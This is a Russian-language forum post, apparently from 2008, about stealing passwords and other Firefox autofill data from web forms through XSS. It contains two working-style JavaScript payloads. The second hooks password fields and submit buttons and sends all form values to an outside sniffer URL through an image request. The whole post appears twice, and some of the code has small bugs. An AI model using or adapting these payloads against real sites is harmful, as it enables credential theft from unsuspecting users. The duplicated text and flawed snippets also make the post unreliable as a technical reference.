Евгений Минаев
23.04.2008, 21:47
Тема названа наверное слишком громко и вовсе не отображает реальную суть того, что я хотел до вас довести. Почти год назад тоха поделился информацией о краже данных из форм в фаерфоксе через авто заполнение, я написал пример, реализующий это а потом мы с пинкпантером еще и обменялись скриптами xD
Суть в том, что при включенном автозаполнении фаерфокс с помощью обращений к элементам через DOM можно воровать выведенную информацию. Через xss вставляем код что написан ниже, который через 6 секунд -- таймаут пока фф вставит информацию в поля -- соберет все введенные данные в форму и отправит нам на снифер.На английском подробно и неплохо написано тут http://www.heise-online.co.uk/security/Password-stealing-for-dummies--/features/93141
setTimeout("sniffdata = '';for (i=0;i<document.forms.length;i++){document.forms[i].submit();sniffdata += '&action='+document.forms[i].action;sniffdata += '&method='+document.forms[i].method;for (b=0;b<document.forms[i].elements.length;b++){sniffdata += '&'+document.forms[i].elements.name+'='+document.forms[i].elements.value;}}document.write(sniffdata);",1000);
Очень плодотворным вышло наше обсуждение, во время обсуждения я два раза подвесил фаерфокс 2.0.0.5 намертво, после пинкпантер предложил скрипт, устанавливающий hook на input элементы формы и при отсылке их на сервер передает данные нам тоже.
var snifUrl = 'http://underwater.itdefence.ru/sniff/ya.gif';
function hookPassword(event)
{
event = (!event) ? window.event : event;
target = (!event.target) ? event.srcElement : event.target;
if (target.nodeType == 3) target = target.parentNode;
code = (event.charCode) ? event.charCode :
((event.keyCode)? event.keyCode :
((event.which) ? event.which : 0));
if ( code == 13 ) sniff();
}
function sniff()
{
sniffdata = '';
for ( i = 0 ; i < document.forms.length ; i++ )
{
sniffdata += 'action='+document.forms[i].action;
sniffdata += '&method='+document.forms[i].method;
for ( b = 0 ; b < document.forms[i].elements.length ; b++ )
{
sniffdata += '&'+document.forms[i].elements[b].name+'='+document.forms[i].elements[b].value;
}
sniffdata += '&';
}
image = new Image();
image.src = snifUrl+'?'+sniffdata;
}
function hook()
{
for ( i = 0 ; i < document.forms.length ; i++ )
{
for ( b = 0 ; b < document.forms[i].elements.length ; b++ )
{
if (document.forms[i].elements[b].type == 'password' )
document.forms[i].elements[b].setAttribute("onkeypress","javascript:if (event) { hookPassword(event); }");
else if ( document.forms[i].elements[b].type == 'submit' )
document.forms[i].elements[b].setAttribute("onclick","javascript:sniff();");
}
}
}
//<script src='js.js' onload='hook();'>.
<script>
for (i=0;i<document.forms.length;i++)
{
for (b=0;i<document.forms[i].elements.length;b++)
document.forms[i].elements;
}
</script>
P.S. Гратзы моим компаньонам +toxa+, pinkpanther и неизвестному мне Jürgen Schmidtу
P.P.S. Во время написания поста проверка орфографии, встроенная в Firefox не раз предложила мне заменить "фаерфокс" на "перфокарта" xD
Суть в том, что при включенном автозаполнении фаерфокс с помощью обращений к элементам через DOM можно воровать выведенную информацию. Через xss вставляем код что написан ниже, который через 6 секунд -- таймаут пока фф вставит информацию в поля -- соберет все введенные данные в форму и отправит нам на снифер.На английском подробно и неплохо написано тут http://www.heise-online.co.uk/security/Password-stealing-for-dummies--/features/93141
setTimeout("sniffdata = '';for (i=0;i<document.forms.length;i++){document.forms[i].submit();sniffdata += '&action='+document.forms[i].action;sniffdata += '&method='+document.forms[i].method;for (b=0;b<document.forms[i].elements.length;b++){sniffdata += '&'+document.forms[i].elements.name+'='+document.forms[i].elements.value;}}document.write(sniffdata);",1000);
Очень плодотворным вышло наше обсуждение, во время обсуждения я два раза подвесил фаерфокс 2.0.0.5 намертво, после пинкпантер предложил скрипт, устанавливающий hook на input элементы формы и при отсылке их на сервер передает данные нам тоже.
var snifUrl = 'http://underwater.itdefence.ru/sniff/ya.gif';
function hookPassword(event)
{
event = (!event) ? window.event : event;
target = (!event.target) ? event.srcElement : event.target;
if (target.nodeType == 3) target = target.parentNode;
code = (event.charCode) ? event.charCode :
((event.keyCode)? event.keyCode :
((event.which) ? event.which : 0));
if ( code == 13 ) sniff();
}
function sniff()
{
sniffdata = '';
for ( i = 0 ; i < document.forms.length ; i++ )
{
sniffdata += 'action='+document.forms[i].action;
sniffdata += '&method='+document.forms[i].method;
for ( b = 0 ; b < document.forms[i].elements.length ; b++ )
{
sniffdata += '&'+document.forms[i].elements[b].name+'='+document.forms[i].elements[b].value;
}
sniffdata += '&';
}
image = new Image();
image.src = snifUrl+'?'+sniffdata;
}
function hook()
{
for ( i = 0 ; i < document.forms.length ; i++ )
{
for ( b = 0 ; b < document.forms[i].elements.length ; b++ )
{
if (document.forms[i].elements[b].type == 'password' )
document.forms[i].elements[b].setAttribute("onkeypress","javascript:if (event) { hookPassword(event); }");
else if ( document.forms[i].elements[b].type == 'submit' )
document.forms[i].elements[b].setAttribute("onclick","javascript:sniff();");
}
}
}
//<script src='js.js' onload='hook();'>.
<script>
for (i=0;i<document.forms.length;i++)
{
for (b=0;i<document.forms[i].elements.length;b++)
document.forms[i].elements;
}
</script>
P.S. Гратзы моим компаньонам +toxa+, pinkpanther и неизвестному мне Jürgen Schmidtу
P.P.S. Во время написания поста проверка орфографии, встроенная в Firefox не раз предложила мне заменить "фаерфокс" на "перфокарта" xD